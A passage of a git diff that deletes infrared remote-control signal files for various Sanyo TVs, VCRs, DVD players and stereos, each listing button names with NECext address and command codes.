-address: 31 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 10 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 12 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 15 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1D 00 00 00 -# -name: ATR -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1F 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 43 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 44 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4B 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5B 00 00 00 -# -name: ShowView -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 8C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 94 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 95 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 96 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 97 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 31 00 00 00 -command: CA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir deleted file mode 100644 index e034f8ac1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 01 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 07 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 10 00 00 00 -# -name: PAUSE/STILL -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 12 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 15 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1C 00 00 00 -# -name: KEY_0/AV -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1D 00 00 00 -# -name: ATR -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1F 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 43 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 44 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5B 00 00 00 -# -name: SP/LP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5E 00 00 00 -# -name: SHOW_VIEW -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 8C 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 94 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 95 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 96 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 97 00 00 00 -# -name: MENU/TV -type: parsed -protocol: NECext -address: 31 00 00 00 -command: CA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir deleted file mode 100644 index f0e672407..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 01 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 10 00 00 00 -# -name: STILL -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 14 00 00 00 -# -name: RE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 15 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 19 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1D 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1E 00 00 00 -# -name: MEM -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 43 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 44 00 00 00 -# -name: TYPE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 46 00 00 00 -# -name: CLR -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4B 00 00 00 -# -name: VPS -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5B 00 00 00 -# -name: SHOWVIEW -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 8C 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 9E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 31 00 00 00 -command: CA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir deleted file mode 100644 index a58dfe03d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 01 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 02 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 10 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 15 00 00 00 -# -name: index -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 19 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1D 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1E 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 43 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 44 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 46 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4B 00 00 00 -# -name: vps -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4F 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 56 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5B 00 00 00 -# -name: sp/lp -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5E 00 00 00 -# -name: showview -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 8C 00 00 00 -# -name: preset -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 9E 00 00 00 -# -name: menu/tv -type: parsed -protocol: NECext -address: 31 00 00 00 -command: CA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir deleted file mode 100644 index 9cddee1b2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 01 00 00 00 -# -name: stop_cd -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 04 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 05 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 06 00 00 00 -# -name: tune+ -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 07 00 00 00 -# -name: tune- -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 08 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 0A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 1F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 40 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 41 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 42 00 00 00 -# -name: sound_preset -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 44 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 46 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 48 00 00 00 -# -name: fm_mode -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 4B 00 00 00 -# -name: preset -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 4D 00 00 00 -# -name: tuner-band -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 4E 00 00 00 -# -name: stop_tape -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 51 00 00 00 -# -name: stop_recording -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 52 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 54 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 55 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 56 00 00 00 -# -name: start_recording -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 57 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 80 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 81 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 82 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 83 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 84 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 85 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 86 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 87 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 88 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 89 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir deleted file mode 100644 index 76bfea652..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 00 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 01 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 02 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 03 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 05 00 00 00 -# -name: TopMenu -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 06 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 07 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 08 00 00 00 -# -name: AngleReplay -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 09 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 0B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 0C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 0D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 0E 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 0F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 19 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 1A 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 1C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 1E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 1F 00 00 00 -# -name: PauseStep -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 20 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 21 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 22 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 23 00 00 00 -# -name: Rev -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 26 00 00 00 -# -name: FwdSlow -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 29 00 00 00 -# -name: RevSlow -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 2C 00 00 00 -# -name: LastMemo -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 2F 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 35 00 00 00 -# -name: ABRepeat -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 36 00 00 00 -# -name: SearchMode -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 38 00 00 00 -# -name: ProgramRandom -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 39 00 00 00 -# -name: PictureMode -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 3A 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 3B 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 3C C4 00 00 -command: 4A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir deleted file mode 100644 index 7a365bfce..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Ch_Up -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 01 00 00 00 -# -name: Ch_Down -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 02 00 00 00 -# -name: Vol+ -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 03 00 00 00 -# -name: Vol- -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 04 00 00 00 -# -name: I-II_left -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 08 00 00 00 -# -name: I-II_right -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 08 00 00 00 -# -name: Mute -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 09 00 00 00 -# -name: A/CH -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 0A 00 00 00 -# -name: Off/Timer -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 0C 00 00 00 -# -name: Video -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 0D 00 00 00 -# -name: Power -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 0E 00 00 00 -# -name: Display_Set_Clock -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 19 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 1A 00 00 00 -# -name: 20+ -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 1B 00 00 00 -# -name: 30+ -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 1C 00 00 00 -# -name: 40+ -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 1D 00 00 00 -# -name: On/Timer -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 34 00 00 00 -# -name: Hour -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 35 00 00 00 -# -name: Min -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 36 00 00 00 -# -name: Up_Arrow -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 58 00 00 00 -# -name: Right_Arrow -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 59 00 00 00 -# -name: Left_Arrow -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 5A 00 00 00 -# -name: Down_Arrow -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 9C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir deleted file mode 100644 index 573696416..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 03 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 04 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 06 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 07 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0D 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0F 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 10 00 00 00 -# -name: Normal -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 11 00 00 00 -# -name: FineTune+ -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 12 00 00 00 -# -name: FineTune- -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 13 00 00 00 -# -name: TV/Video -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 14 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 17 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 18 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 19 00 00 00 -# -name: Colour+ -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1A 00 00 00 -# -name: Colour- -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1C 00 00 00 -# -name: Alt -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1D 00 00 00 -# -name: Bright+ -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1E 00 00 00 -# -name: Bright- -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir deleted file mode 100644 index aad635ff8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 